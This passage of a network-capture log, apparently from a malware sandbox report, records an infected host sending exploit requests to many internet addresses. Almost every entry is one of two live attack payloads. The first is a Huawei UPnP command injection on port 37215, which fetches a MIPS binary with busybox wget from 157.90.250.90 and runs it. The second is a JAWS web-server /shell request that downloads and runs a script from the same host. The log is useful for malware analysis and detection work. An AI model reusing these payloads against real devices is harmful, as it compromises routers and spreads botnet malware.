74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.23	42194	197.26.74.237	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:50.672730923 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.23	33370	41.30.218.207	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:50.673397064 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.23	39518	156.170.127.69	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:50.674081087 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.23	33488	125.111.75.105	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.538219929 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.23	40276	8.43.2.155	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.539057970 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.23	44830	23.93.194.133	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.539916992 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.23	60176	99.212.18.166	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.540522099 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.23	34482	64.69.46.207	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.541137934 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.23	37176	1.252.247.68	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.541731119 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.23	34760	210.36.162.136	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.542319059 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.23	34848	73.104.148.95	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.564505100 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.23	54072	194.18.61.94	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.565176964 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.23	55086	2.233.134.116	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.565702915 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.23	49154	107.229.45.191	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.566246033 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.23	40132	128.106.21.141	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.566771030 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.23	44762	201.157.7.217	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.567308903 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.23	55390	103.104.235.120	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.567888021 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.23	41618	101.211.231.251	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.568402052 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.23	56424	145.20.17.13	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.568932056 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.23	33352	213.75.138.155	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.569456100 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.23	45994	93.104.201.65	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.569998980 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.23	36864	159.157.188.52	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.570539951 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.23	51820	110.23.29.220	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.571083069 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.23	48116	54.6.47.124	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.571609020 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.23	41006	97.55.138.48	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.572199106 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.23	60086	176.10.51.162	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.572736979 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.23	53464	128.160.146.62	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.780225039 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.23	49884	175.136.0.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.780927896 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.23	51268	17.188.107.76	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.781517982 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.23	47024	58.233.196.220	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.782078981 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.23	48538	57.247.150.105	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.782917976 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.23	55198	138.190.218.64	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.783508062 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.23	44828	13.37.13.251	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.784075975 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.23	55962	76.165.243.2	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.784656048 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.23	41832	192.18.96.173	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.785281897 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.23	38588	143.95.246.74	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.787276030 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.23	56048	197.105.173.170	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.800451040 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.23	56914	46.96.134.251	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:51.807641029 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.23	53260	197.235.112.160	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:16:52.812622070 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 